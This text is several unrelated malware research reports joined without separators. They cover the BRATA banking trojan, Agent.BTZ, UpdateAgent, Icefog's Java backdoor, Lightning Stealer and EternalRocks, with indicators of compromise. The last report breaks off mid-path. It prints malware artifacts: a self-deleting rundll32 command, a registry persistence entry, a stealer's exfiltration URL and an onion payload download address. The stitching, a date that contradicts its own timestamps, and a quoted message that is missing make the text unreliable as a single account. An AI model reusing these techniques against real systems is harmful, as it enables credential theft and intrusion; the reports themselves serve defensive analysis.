# How BRATA is Monitoring Your Bank Account **Federico Valentini, Francesco Iubatti** ## Introduction In our previous article “Mobile banking fraud: BRATA strikes again,” we described how threat actors (TAs) leverage the Android banking trojan BRATA to perpetrate fraud via unauthorized wire transfers. In this article, we present further insights on how BRATA is evolving in terms of both new targets and new features, such as: - Capability to perform the device factory reset: TAs leverage this feature to erase any trace right after an unauthorized wire transfer attempt. - GPS tracking capability. - Capability to use multiple communication channels (HTTP and TCP) between the device and the C2 server to maintain a persistent connection. - Capability to continuously monitor the victim's bank application through VNC and keylogging techniques. A new BRATA variant started circulating last December. Our research shows that it has been distributed through a downloader to avoid detection by antivirus solutions. The target list now contains further banks and financial institutions in the UK, Poland, Italy, and LATAM. ## Evolution of BRATA Malware Our previous article analyzed multiple BRATA samples from different campaigns targeting customers of one of the most prominent Italian retail banks. However, during the last months, our telemetry noticed two new waves of BRATA samples. The first wave started in November 2021, and the second around mid-December 2021. During the second wave, TAs began to deliver a few new tailored variants of BRATA in different countries, particularly against banking customers of the UK, Poland, Italy, and LATAM. At the time of writing, we intercepted the primary variants of BRATA (variant A, B, C). BRATA.A is the most used during the past months. In December, TAs added mainly two new features: the GPS tracking of the victim device, which appears to be still under development, and the capability to execute a factory reset of the infected device. BRATA.B has almost the same capabilities and features. However, the main differences found are the partial obfuscation of the code and the use of tailored overlay pages to steal the security number (or PIN) of the targeted banking application. In this variant, the HTTP communications between the malicious app and the C2 appear to be in clear text, while in BRATA.A they were compressed with the zlib library. BRATA.C is composed of an initial dropper used to download and execute the “real” malicious app later. TAs are continually modifying the malware to avoid detection by antivirus solutions using unconventional techniques. Although the majority of Android banking trojans try to obfuscate/encrypt the malware core in an external file (e.g., .dex or .jar), BRATA uses a minimal app to download the core BRATA app (.apk) in a second step. ## Bank Account Monitoring Like other leading Android banking trojans, BRATA has its own custom methods to monitor bank accounts and other victims’ actions performed on their mobile devices. Through BRATA, TAs obtain Accessibility Service permissions during the installation phases to observe the activity performed by the victim and/or use the VNC module to retrieve private information shown on the device’s screen (e.g., bank account balance, transaction history, etc.). As soon as TAs send the command “get_screen” from the C2 server, BRATA starts to take screenshots of the victim’s device and sends them back to the C2 server through the HTTP channel. An additional functionality observed is keylogging. BRATA.B monitors all users’ keystrokes when visiting the targeted bank application. For example, if a victim opens their bank application and starts typing into the visible fields, the keylogging functionality will send the entered numbers to the C2 server for further processing. ## GPS Tracking By analyzing the application’s manifest, it has been possible to discover the GPS permission intended to be used by the application. This feature is requested at installation; however, no evidence in the code shows it is actually used. It is likely that malware developers are requesting this permission for future development, possibly to target people in specific countries or to enable other cash-out mechanisms (e.g., cardless ATMs). It's worth mentioning that a GPS signal could be easily disguised by third-party applications, and it is possible that the development phase has been currently stopped. ## Factory Reset According to the analysis performed on new BRATA samples, a factory reset feature has been implemented. This mechanism represents a kill switch for this malware. It was observed that this function is executed in two cases: - A bank fraud has been completed successfully, causing the victim to lose more time before realizing a malicious action occurred. - The application is installed in a virtual environment, as BRATA tries to prevent dynamic analysis through the execution of this feature. These statements are confirmed by the keyword `SendMsg_formatdevice` within the event name structure, which is used each time an action is performed. The function `_wsh_formatthisdevice` is in charge of performing the mobile phone reset. ## Communication Channels BRATA and its C2 use multiple channels to communicate with each other. The first communications are made by the application towards the C2 through the HTTP protocol, and then, if the server is online, it switches the connection to the WebSocket protocol. During these HTTP exchanges, BRATA verifies and removes any antivirus apps installed on the infected device and subsequently receives its configuration file from the C2 server. This switch of channels is justified by the fact that WebSocket is an event-driven protocol, suitable for real-time communication. WebSockets keep a single, persistent connection open while eliminating latency problems that arise with HTTP request/response-based methods. Reducing the amount of data transferred from the C2 and its application is crucial, especially when exfiltrating data in a network that could be under continuous traffic monitoring. As shown, the WebSocket protocol is used by the C2 to send specific commands that need to be executed on the phone (e.g., whoami, byebye_format, screen_capture, etc.). The malware is in a waiting state most of the time until the C2 issues commands instructing the app for the next step. ## Final Considerations This research aims to show how BRATA is trying to reach out to new targets and develop new features. Since its discovery by Kaspersky in 2019, we have collected evidence and monitored how TAs leverage this banking trojan for performing frauds, typically through unauthorized wire transfers or through Instant Payments, using a wide network of money mule accounts in multiple European countries. According to our findings, we can expect BRATA to remain undetected and continue developing new features. ## Appendix 1: IOCs | IoC | Description | |--------------------------------------------------|---------------------| | 220ec1e3effb6f4a4a3acb6b3b3d2e90 | BRATA.A | | e664bd7951d45d0a33529913cfbcbac0 | BRATA.B | | 2dfdce36a367b89b0de1a2ffc1052e24 | BRATA.C (downloader)| | 5[.]39[.]217[.]241 | C2 server |
# New Variants of Agent.BTZ/ComRAT Found: The Threat Agent.BTZ–also known as ComRAT–is one of the world’s oldest known state-sponsored threats, mainly known for the 2008 Pentagon breach. Technically speaking, Agent.BTZ is a sophisticated user-mode RAT developed and operated by the Turla group in conjunction with the Snake/Uroburos rootkit. In the past few months, we conducted research on Agent.BTZ’s code-base and how it evolved using Intezer Code Intelligence™ technology. Based on our research conclusions, we were able to hunt about a dozen new samples and more than seventy previously unknown live IP & DNS addresses indicating the ongoing abuse of satellite internet providers operating in both Africa and the Middle East. This is a short memo regarding our findings from the past few months; in a few days, we will publish a whitepaper (part 2/2) describing in more detail how we found these new variants using our technology, along with a thorough analysis of the new samples. ## Dropper Although the code itself was written from scratch and has nothing to do with WinRAR, the adversary tried to mimic WinRAR’s SFX installer. Resource data was duplicated, including icons and layouts used by the original installer. Once executed, the dropper installs `activeds.dll` – a proxy DLL which is loaded directly to `explorer.exe` once the machine reboots. The purpose of this proxy DLL is to load the malware’s main payload – `stdole2.tlb`. The dropper then also deletes any previous installation of Agent.BTZ if it exists. This is done using a hard-coded file path: ``` C:\Documents and Settings\<USER>\Application Data\Microsoft\Windows\Themes\termsvr32.dll C:\Documents and Settings\<USER>\Application Data\Microsoft\Windows\Themes\pcasrc.tlb ``` **Note:** These file names were first used by Agent.BTZ in late 2014, as you can see in this automatic Dr.WEB report. Once finished, the dropper renames and self-deletes using the following command line: ``` C:\WINDOWS\system32\rundll32.exe C:\DOCUME~1\<USER>~1\APPLIC~1\MICROS~1\Windows\stdole2.tlb,UnInstall C:\~$.tmp ``` ### Samples found: 1. 69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 2. 6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 `stdole2.tlb`: As previously mentioned, this file is the main component installed by the fake-SFX dropper and loaded by `activeds.dll`. We extracted the configuration from each sample in order to obtain the C2 address and inner version (“PVer”), which is built into every Agent.BTZ sample. In the past, Agent.BTZ’s developers have used an incremental value to indicate the inner build version; the last known value is 3.26 as published by G-Data in late 2014. It seems that the developers have reacted to G-Data’s publication and have stopped using an incremental value. New variants are now using a different numbering system of 0.8/9.<RANDOM_VALUE>, making it more difficult for researchers to track the exact version of the samples. **Example configuration extracted from one of the samples – PVer 0.9.1528434231.** Even without the PVer numbering, we were able to determine using our technology that these samples are from a newer version, which is based on the latest known versions of Agent.BTZ – 3.25 / 3.26. ### Samples found: 1. 4e553bce90f0b39cd71ba633da5990259e185979c2859ec2e04dd8efcdafe356 (VirusTotal) 2. 3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2 (VirusTotal) Both of these files were uploaded almost three years ago to VT. ### Indicators of Compromise: | Type | Indicator | |--------|---------------------------------------------------------------------------| | sha256 | 69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 | | sha256 | 6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 | | sha256 | 73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88 | | sha256 | 50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f | | sha256 | 380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac | | sha256 | 9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426 | | sha256 | 628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24 | | sha256 | f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2 | | sha256 | a093fa22d7bc4ee99049a29b66a13d4bf4d1899ed4c7a8423fbb8c54f4230f3c | | sha256 | 6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96 | | sha256 | 49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e | | sha256 | e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49 | | sha256 | 89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea | | ip | 81.199.34[.]150 | | dns | elephant.zzux[.]com | | dns | angrybear.ignorelist[.]com | | dns | bigalert.mefound[.]com | | dns | bughouse.yourtrap[.]com | | dns | getfreetools.strangled[.]net | | dns | news100top.diskstation[.]org | | dns | pro100sport.mein-vigor[.]de | | dns | redneck.yourtrap[.]com | | dns | savage.2waky[.]com | | dns | tehnologtrade.4irc[.]com | | ip | 81.199.160[.]11 | | dns | forums.chatnook[.]com | | dns | goodengine.darktech[.]org | | dns | locker.strangled[.]net | | dns | simple-house.zzux[.]com | | dns | specialcar.mooo[.]com | | dns | sunseed.strangled[.]net | | dns | whitelibrary.4irc[.]com | | dns | bloodpearl.strangled[.]net | | dns | getlucky.ignorelist[.]com | | dns | proriot.zzux[.]com | | dns | fourapi.mooo[.]com | | dns | nopasaran.strangled[.]net | | ip | 78.138.25[.]29 | | dns | showme.twilightparadox[.]com | | dns | mouses.strangled[.]net | | ip | 82.146.175[.]69 | | dns | mouses.strangled[.]net | | ip | 178.219.68[.]242 | | dns | ftp.fueldust.compress[.]to | | dns | ftp.linear.wikaba[.]com | | dns | ftp.mysterysoft.epac[.]to | | dns | ftp.scroller.longmusic[.]com | | dns | ftp.spartano.mefound[.]com | | dns | fueldust.compress[.]to | | dns | linear.wikaba[.]com | | dns | mysterysoft.epac.to | | dns | safety.deaftone[.]com | | dns | salary.flnet[.]org | | dns | scroller.longmusic[.]com | | dns | spartano.mefound[.]com | | ip | 88.83.25[.]122 | | dns | robot.wikaba[.]com | | ip | 41.223.91[.]217 | | dns | smileman.compress[.]to | | dns | decent.ignorelist[.]com | | dns | dekka.biz[.]tm | | dns | disol.strangled[.]net | | dns | eraser.2waky[.]com | | dns | filelord.epac[.]to | | dns | justsoft.epac[.]to | | dns | smuggler.zzux[.]com | | dns | sport-journal.twilightparadox[.]com | | dns | sportinfo.yourtrap[.]com | | dns | stager.ignorelist[.]com | | dns | tankos.wikaba[.]com | | dns | grandfathers.mooo[.]com | | dns | homeric.mooo[.]com | | dns | jamming.mooo[.]com | | dns | pneumo.mooo[.]com | | dns | razory.mooo[.]com | | dns | anger.scieron[.]com | | dns | gantama.mefound[.]com | | dns | letgetbad.epac[.]to | | dns | rowstate.epac[.]to | | dns | memento.info[.]tm | | ip | 196.43.240[.]177 | | dns | bughouse.yourtrap[.]com | | dns | news100top.diskstation[.]org | | ip | 169.255.102[.]240 | | dns | harm17.zzux[.]com | | dns | mountain8.wikaba[.]com | Omri Ben Bassat Ex-officer in the IDF CERT. Malware analyst and a reverse engineer with vast experience in dealing with nation-state sponsored cyber attacks. Omri is the creator of Master of Puppets (MoP)—an open-source framework for reverse engineers who wish to create and operate trackers for new malware found in the wild—which was presented during the Black Hat USA 2019 Arsenal.
# UpdateAgent macOS Malware Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain, and respond to threats within minutes. We have discovered some of the most dangerous threats and nation-state attacks in our space – including the Kaseya MSP breach and the more_eggs malware. Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response, and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team. In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward. Here’s the latest from our TRU Team… ## What did we find? UpdateAgent malware impacting a customer in the software industry, specific to Apple’s macOS operating system. The malware is used to deliver additional payloads and maintain a persistent foothold on systems. According to Microsoft, the malware has gone through several iterations since it first appeared in September 2020. In a recent case, analysts identified a suspicious launch agent and traced it to a shell script matching UpdateAgent’s known behavior patterns and traits, including: 1. Use of CloudFront domains for C2 communications and secondary payloads. 2. Collection of system information. 3. Removal of quarantine bit from payloads to bypass Gatekeeper. 4. Establishing persistence by modifying property list files in the user’s /Library/LaunchAgents directory. 5. Removal of files from the device to cover tracks. UpdateAgent is known to deliver adware as its second stage payload, but there is potential for more severe payload delivery. ## Summary of UpdateAgent's Initiation Shell Script UpdateAgent collects information about the system and submits it to the C2 domain via HTTP POST request. The information collected includes the active user, machine ID, operating system, and version. Then it retrieves a DMG file, adds the current user to the ‘sudoers’ file, and disables the password prompt. Next, it clears extended attributes on the DMG file to bypass Gatekeeper, which is a security feature in macOS aimed at reducing the likelihood of users accidentally running malware downloaded from the internet. UpdateAgent clears all extended attributes (including the quarantine flag) using the xattr command. Then, it uses PlistBuddy in direct mode to add arguments to a property list file under the user’s /Library/LaunchAgents/ folder for persistence. ## How did we find it? Our MDR for Endpoint service identified the launch agent persistence technique. ## What did we do? Our 24/7 SOC cyber analysts alerted the customer, isolated the host, and provided details of the infection to assist with remediation. ## What can you learn from this TRU positive? UpdateAgent is initiated by macOS users installing malicious software masquerading as legitimate applications. UpdateAgent has seen continuous improvement since it first emerged. While adware payloads may seem low-risk, the potential for follow-on malware exists. Additionally, the information collected and sent via UpdateAgent’s heartbeat mechanism could be used to target the system for follow-on attacks. ## Recommendations from our Threat Response Unit (TRU) Team: - Encourage good security hygiene among your users through phishing and security awareness training. - Only download and install applications from trusted locations. For additional protection, validate the file hash if the vendor provides the hash information. - Ignore unsolicited pop-ups or application download requests. Do not click on the unsolicited pop-up links. - Monitor for modifications to plist files in auto-run locations such as /Library/LaunchAgents/. - Restrict access/monitor for changes to sudoers file and launch agents folders. ## Ask Yourself 1. What level of visibility do you have across your network, endpoint, and overall environment to detect malicious behavior at scale? 2. What level of managed endpoint support do you have in place? 3. Are you monitoring your endpoints 24/7 and what degree of control do you have to initiate a kill switch when required? ## Indicators of Compromise - **Indicator**: 28C2FF8C6F78EB61361DECE949108910 **Note**: Initiation Shell Script - **Indicator**: dgu8hufljhqqu[.]cloudfront[.]net **Note**: Command and Control - **Indicator**: duh59xv2mx0nn[.]cloudfront[.]net **Note**: Payload Hosting eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats. If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption. Learn what it means to have an elite team of Threat Hunters and Researchers that works for you.
# The Icefog APT Hits US Targets With Java Backdoor **Authors** Vitaly Kamluk Igor Kuznetsov Costin Raiu In September 2013, we published our extensive analysis of Icefog, an APT campaign that focused on the supply chain – targeting government institutions, military contractors, maritime and ship-building groups. Icefog, also known as the “Dagger Panda” by Crowdstrike’s naming convention, infected targets mainly in South Korea and Japan. Since the publication of our report, the Icefog attackers went completely dark, shutting down all known command-and-control servers. Nevertheless, we continued to monitor the operation by sinkholing domains and analysing victim connections. During this monitoring, we observed an interesting type of connection which seemed to indicate a Java version of Icefog, further to be referenced as “Javafog”. ## Meet “Lingdona” The Icefog operation has been operational since at least 2011, with many different variants released during this time. For Microsoft Windows PCs, we identified at least 6 different generations: 1. The “old” 2011 Icefog – sends stolen data by e-mail; this version was used against the Japanese House of Representatives and the House of Councillors in 2011. 2. Type “1” “normal” Icefog – interacts with command-and-control servers via a set of “.aspx” scripts. 3. Type “2” Icefog – interacts with a script-based proxy server that redirects commands from the attackers to another machine. 4. Type “3” Icefog – a variant that uses a certain type of C&C server with scripts named “view.asp” and “update.asp”. 5. Type “4” Icefog – a variant that uses a certain type of C&C server with scripts named “upfile.asp”. 6. Icefog-NG – communicates by direct TCP connection to port 5600. In addition to these, we also identified “Macfog”, a native Mac OS X implementation of Icefog that infected several hundred victims worldwide. By correlating registration information for the different domains used by the malware samples, we were able to identify 72 different command-and-control servers, of which we managed to sinkhole 27. One interesting domain in particular was “lingdona.com”, which expired in September 2013 and we took over in October 2013. Here’s what the original contact information looked like: 1. Domain Name: LINGDONA.COM 2. Registrant Contact: lin ming hua lin ming [email protected] telephone: +86.031185878412 fax: +86.031185878412 fuzhoushi Fuzhou Shi Fujian Sheng 412141 CN The domain was originally hosted in Hong Kong, at IP 206.161.216.214 and 103.20.195.140, and appeared suspicious because of the registration data, which seemed to match other known Icefog domains. As soon as we sinkholed it, we observed a number of suspicious connections, almost every 10 seconds: 1. 69.59.x.x www.lingdona.com - [26/Oct/2013:23:59:39 +0000] "POST /news/latestnews.aspx?title=2.0_1593925273 HTTP/1.1" 404 345 "-" "Java/1.7.0_25" 2. 69.59.x.x www.lingdona.com - [26/Oct/2013:23:59:45 +0000] "POST /news/latestnews.aspx?title=2.0_1593925273 HTTP/1.1" 404 345 "-" "Java/1.7.0_25" 3. 38.100.x.x www.lingdona.com - [26/Oct/2013:23:59:48 +0000] "GET /news/latestnews.aspx?title=1.1_1254592001 HTTP/1.1" 404 345 "-" "Java/1.7.0_40" 4. 38.100.x.x www.lingdona.com - [26/Oct/2013:23:59:58 +0000] "GET /news/latestnews.aspx?title=1.1_1254592001 HTTP/1.1" 404 345 "-" "Java/1.7.0_40" Interestingly, the User-Agent string indicated the client could be a Java application; however, this was unusual because all other Icefog variants used regular IE User-Agent strings. ## Finding the Sample While we suspected there was a malware sample in the wild connecting to the domain “lingdona.com”, we didn’t have a copy of that particular Icefog trojan. Luck seemed to strike when we came by a JSUNPACK submission that appeared quite interesting. In November 2012, someone submitted an interesting URL to the public JSUNPACK service which was hosted on the “sejonng.org” server, a known Icefog domain. It also appeared to reference “starwars123.net”, another known Icefog domain. Most interestingly, the HTML page references a Java applet “policyapplet.jar” with a long hexadecimal string parameter named “jar”. Unfortunately, we were not able to recover the “policyapplet.jar” file, which was most likely a Java exploit. Decoding the hexadecimal string, we found another Java applet with the following information: 1. Size: 8697 bytes 2. MD5: d26af487534c1d575e747ff240ee6357 Later, we discovered the extracted applet was also uploaded to a virus scanning service around the same time. ## The Javafog The “jar” applet caught our attention so we analysed to determine how it works. The JAR format uses ZIP compression to store the data in compact form. The ZIP header uses timestamps to track when files were added to the archive. This helps understanding when the JAR file could have been created. Here is ZIP directory information from the applet: 1. Date Time Attr Size Compressed Name 2. ---------- --- ------ ------ ------------ 3. 2012-10-30 16:47:50 ..... 129 115 META-INF/MANIFEST.MF 4. 2012-10-30 16:47:50 ..... 259 206 META-INF/B8228E45.SF 5. 2012-10-30 16:47:50 ..... 5365 3610 META-INF/B8228E45.RSA 6. 2010-10-29 22:44:06 ..... 7726 4226 JavaTool.class This means that the JAR file was most likely created on 30th November 2012, while the main class JavaTool.class was compiled two years before that, on 29th November 2010. Upon startup, it tries to register itself as a startup entry to achieve persistence. The module writes a registry value to ensure it is automatically started by Windows: ``` [HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run] JavaUpdate=%TEMP%\update.jar ``` It is worth noting that the module does not copy itself to that location. It is possible that the missing file “policyapplet.jar” contains the parts of the installation routine. Next, it enters a loop where it keeps calling its main C&C function, with a delay of 1000ms. The main loop contacts the well-known Icefog C&C server – “www.lingdona.com/news” and interacts with it. First of all, it sends the full system information profile, which the attackers can use to determine if the victim is “interesting” or has any real value. Here’s a PCAP of the conversation: In the screenshot above, “title=2.0_1651809722” indicates a unique victim ID that is computed by hashing the hostname. This can be used by the operators to uniquely identify the victim and send commands to it. As a reply to the uploaded system information, the backdoor expects an “order”, which can have different values: **Command Description:** - upload_* – Upload a local file specified after the command to the C&C server by URL “%C&C server URL%/uploads/%file name%”. Uploaded data is encrypted with a simple XOR operation with key 0x99. - cmd_UpdateDomain – Migrate to a new C&C server URL specified after the command. The new URL is also written to the file “%TEMP%update.dat”. - cmd_* – Execute the string specified after the command using “cmd.exe /c”. The results are uploaded to the C&C server by URL “%C&C server URL%/newsdetail.aspx?title=2.0_%host name%”. Besides the above, the backdoor doesn’t do much else. It allows the attackers to control the infected system and download files from it. Simple, yet very effective. ## Geography of Victims One might wonder what is the purpose of something like the Javafog backdoor. The truth is that even at the time of writing, detection for Javafog is extremely poor (3/47 on VirusTotal). Java malware is definitively not as popular as Windows PE malware and can be harder to spot. During the sinkholing operation for the “lingdona.com” domain, we observed 8 IPs for three unique victims of Javafog, all of them in the United States. Interestingly, during the observation period, two of the victims updated the Java version from “Java/1.7.0_25” to “Java/1.7.0_45”. Based on the IP address, one of the victims was identified as a very large American independent Oil and Gas corporation, with operations in many other countries. As of today, all victims have been notified about the infections. Two of the victims have removed it already. ## Conclusions With Javafog, we are turning yet another page in the Icefog story by discovering another generation of backdoors used by the attackers. In one particular case, we observed the attack commencing by exploiting a Microsoft Office vulnerability, followed by the attackers attempting to deploy and run Javafog, with a different C&C. We can assume that based on their experience, the attackers found the Java backdoor to be more stealthy and harder to notice, making it more attractive for long-term operations. The focus on the US targets associated with the only known Javafog C&C could indicate a US-specific operation run by the Icefog attackers; one that was planned to take longer than usual, such as, for instance, long-term collection of intelligence on the target. This brings another dimension to the Icefog gang’s operations, which appear to be more diverse than initially thought. **Tags:** APT Icefog Java Targeted attacks Vulnerabilities and exploits **Authors** Vitaly Kamluk Igor Kuznetsov Costin Raiu
# Inside Lightning Stealer **A New Info Stealer Targeting over 30 Browsers** Cyble Research Labs recently encountered Lightning Stealer – a new Info Stealer variant. An info stealer is a type of malware designed specifically to steal data from the victim’s system. This type of malware has emerged as a serious threat as Threat Actors use them to get initial access to corporate networks. Lightning Stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user data. Unlike other info stealers, Lightning Stealer stores all the stolen data in JSON format for exfiltration. ## Technical Analysis The methods in the `Main()` function of the malware binary (SHA 256: a2a3b6db773b95fa27501f081b03daf2a29bfb800b4efa397cc4fc59ff755368) – which is ultimately responsible for stealing data have been presented in a sequential manner as per their execution. The malware first calls `Input.GetLogGecko` method. This method will return stolen passwords, cookies, and history from Firefox-based browsers upon execution. It initially identifies the Firefox-based browsers present in a system bypassing the respective browser’s path in the “AppData” folder to the `Directory.Exists()` method. If this returns as “True,” those paths will be added to a new list for stealing data. Firefox-based browsers store user data in a Profiles folder under the “AppData\Browser_name” directory. Lightning Stealer checks this directory along with the file names mentioned below: - `key4.db`: Stores the encryption keys and master password for `logins.json`. - `logins.json`: These files store the usernames and passwords. - `places.sqlite`: This file stores the user search history, downloads, and bookmarks data. It steals the browser’s data only if the above files are present. It first steals the data from the `login.json` file and looks for `mozglue.dll` and `nss3.dll`, which will be used to decrypt the “login.json” file. Then malware steals the cookies data from `moz_cookies` table in the `cookies.sqlite` file and stores the data in the following format: - Domain = - Name = - Value = - Path = - Expires = - IsSecure = Similarly, the malware steals the browser’s history from the `moz_places` table in the `places.sqlite` file and extracts the data in the following format: - Url = - Title = - Visits = - Time = After stealing data from Firefox-based browsers, the malware targets Chromium-based browsers. The sensitive user data, such as login credentials and cookies, stored in Chrome-based browsers are present in an encrypted form. The malware enumerates and gets the name of all files present in the “Browser-name\User Data\” folder and checks for the “Local State” file, which stores the encrypted keys used by Chrome to decrypt the login data. If this file is present, the malware uses the `DPAPI()` function to decrypt the encryption keys in the “Local State” file by calling `Dpapi.CryptUnprotectData()` function. Chromium browsers store the login data in the “Login Data” file, a .SQLite file. The malware steals the data from the `logins` table present in this file and extracts the data in the following format: - Domain = - Login = - Password = Then malware steals cookies from the `cookies` table present in the “Cookies” file and stores the data in the following format: - Domain = - Name = - Path = - Expires = - IsSecure = isSecure, - Value = value In a similar manner, the malware steals the data from the following “.sqlite” files: - Credit card data from the `logins` table in the “Login Data” file. - Filter Data in the format: - Number = - Year = - Month = - Name = - Search history from the `URLs` table in the “History” file. - Filter Data in format: - Url = - Title = - Visits = - Time = - Autofill data from `autofill` table in “Web data” file. - Filter Data in format: - Name = - Value = This stealer has the capability to steal data from crypto wallets present in the victim’s system. The malware targets the wallet files specific to the crypto applications mentioned. The malware then converts the wallet file’s content into Base64 and saves them into a list. The malware then proceeds to steal the victim’s system info. This malware also steals the .txt and .doc files present in the “Desktop” of the victim’s system. The malware reads the content of the file and encodes it using Base64. Then it saves the encoded data and file names on a list. After this, the malware checks for the “Telegram Desktop\tdata” file in the ApplicationData folder. Instead of copying the file to a different directory for exfiltration, it loads its content in memory, encodes it, and saves it to a list. The Lightning Stealer steals the Discord token from the following directory: “discord\\Local Storage\\leveldb.” It retrieves a list of all files present in this directory and then starts stealing data from them. The malware steals data from Steam, a video game digital distribution service. The stealer identifies the Steam installation path by checking the registry key value at “HKEY_LOCAL_MACHINE\Software\Valve\Steam.” The malware steals data from all the files present under the “config” folder. After this, the malware takes a screenshot of the victim’s screen and saves it in the “AppData\Roaming\” folder named “1.png.” Then, it converts the screenshot into Base64 encoded strings and saves it to a list. The malware stores all the stolen data in the lists. Then it creates a file named “444.txt” in the “AppData\Roaming\” folder. Before writing content to this file, it converts the stolen data into JSON strings using `JsonSerializer.Serialize()` method. After this, the malware exfiltrates the data to the following domain: `hxxp[:]//panelss[.]xyz/Stealer/TSave`. The body of the request is sent in JSON format. ## Conclusion Info Stealers are adopting new techniques to become more evasive. As the information stolen by such malware is sensitive, organizations should follow good security practices. In the past, Cyble Research Labs has observed data breaches of large organizations because of such threats. We have also witnessed ransomware groups leveraging Info Stealers to gain initial network access and, eventually, exfiltrating sensitive data. Lightning Stealer is an emerging Info Stealer, and we may see variants of it emerge in the future. ## Recommendations - Avoid downloading pirated software from warez/torrent websites. The “Hack Tool” present on sites such as YouTube, torrent sites, etc., mainly contains such malware. - Use strong passwords and enforce multi-factor authentication wherever possible. - Turn on the automatic software update feature on your computer, mobile, and other connected devices. - Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without first verifying their authenticity. - Educate employees in terms of protecting themselves from threats like phishing/untrusted URLs. - Block URLs that could be used to spread the malware, e.g., Torrent/Warez. - Monitor the beacon on the network level to block data exfiltration by malware or TAs. - Enable Data Loss Prevention (DLP) Solution on the employees’ systems. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------------|--------------|-----------------------------------------| | Execution | T1204 | User Execution | | Credential Access | T1555 | Credentials from Password Stores | | | T1539 | Steal Web Session Cookie | | | T1552 | Unsecured Credentials | | | T1528 | Steal Application Access Token | | Collection | T1113 | Screen Capture | | Discovery | T1518 | Software Discovery | | | T1124 | System Time Discovery | | | T1007 | System Service Discovery | | Command and Control | T1071 | Application Layer Protocol | | Exfiltration | T1041 | Exfiltration Over C2 Channel | ## Indicators of Compromise (IoCs) | Indicators | Indicator Type | Description | |---------------------------------------------------------------------------|----------------|-------------| | `hxxps[:]//panelss[.]xyz` | URL | C2 URL | | `1b922b6d15085da82e20fee0789a6617` | Md5 | Payload | | `231a8e1a06d1673c8922d149af9d8f156dcbe228` | SHA-1 | | | `a2a3b6db773b95fa27501f081b03daf2a29bfb800b4efa397cc4fc59ff755368` | SHA-256 | Stealer | | `473781fe7d820ef805d1aa79ace86816` | Md5 | Payload | | `b7a42714b4e5dd7cfb6a2c8d7eb30d8bcce9a7ba` | SHA-1 | | | `6e016bcbead2dddb80dd4a592b1f3c042c52dc8a26ee37e0943f1a8c433e4c5f` | SHA-256 | |
# EternalRocks (a.k.a. MicroBotMassiveNet) EternalRocks is a network worm (i.e. self-replicating), emerged in the first half of May 2017, with the oldest known sample `fc75410aa8f76154f5ae8fe035b9a13c76f6e132077346101a0d673ed9f3a0dd` dating to 2017-05-03. It spreads through public (The Shadow Brokers NSA dump) SMB exploits: **ETERNALBLUE**, **ETERNALCHAMPION**, **ETERNALROMANCE**, and **ETERNALSYNERGY**, along with related programs: **DOUBLEPULSAR**, **ARCHITOUCH**, and **SMBTOUCH**. First stage malware **UpdateInstaller.exe** (got through remote exploitation with second stage malware) downloads necessary .NET components (for later stages) **TaskScheduler** and **SharpZLib** from the Internet, while dropping **svchost.exe** (e.g. sample) and **taskhost.exe** (e.g. sample). Component **svchost.exe** is used for downloading, unpacking, and running Tor from `archive.torproject.org` along with C&C (`ubgdgno5eswkhmpy.onion`) communication requesting further instructions (e.g. installation of new components). Second stage malware **taskhost.exe** (Note: different than one from the first stage) (e.g. sample) is being downloaded after a predefined period (24h) from `http://ubgdgno5eswkhmpy.onion/updates/download?id=PC` and run. After the initial run, it drops the exploit pack **shadowbrokers.zip** and unpacks contained directories **payloads/**, **configs/**, and **bins/**. After that, it starts a random scan of opened 445 (SMB) ports on the Internet, while running contained exploits (inside directory **bins/**) and pushing the first stage malware through payloads (inside directory **payloads/**). Also, it expects the running Tor process from the first stage to get further instructions from C&C. ## Update (2017-05-25) Author ("tmc") suddenly drops the whole campaign after a recent fuzz. C&C page currently holds this moment the following (new) message: > After a successful registration, user can find following messages from malware author ("tmc") himself: > It's not ransomware, it's not dangerous, it just firewalls the SMB port and moves on. I wanted to play some games with them, considering I had visitors, but the news has too much about weaponized doomsday worm eternal rocks payload. Much thought to be had... ps: NSA exploits were fun, thanks shadowbrokers! > Btw, all I did was use the NSA tools for what they were built, I was figuring out how they work, and next thing I knew I had access, so what to do then, I was ehh, I will just firewall the port, thank you for playing, have a nice day. Also, malware doesn't update any more to the (shadowbrokers exploit pack) second stage, but to the dummy executable: ### Host Based Indicators **Paths** - `c:\Program Files\Microsoft Updates\SharpZLib.zip` # in newer variants - `c:\Program Files\Microsoft Updates\svchost.exe` - `c:\Program Files\Microsoft Updates\installed.fgh` - `c:\Program Files\Microsoft Updates\ICSharpCode.SharpZipLib.dll` # in newer variants - `c:\Program 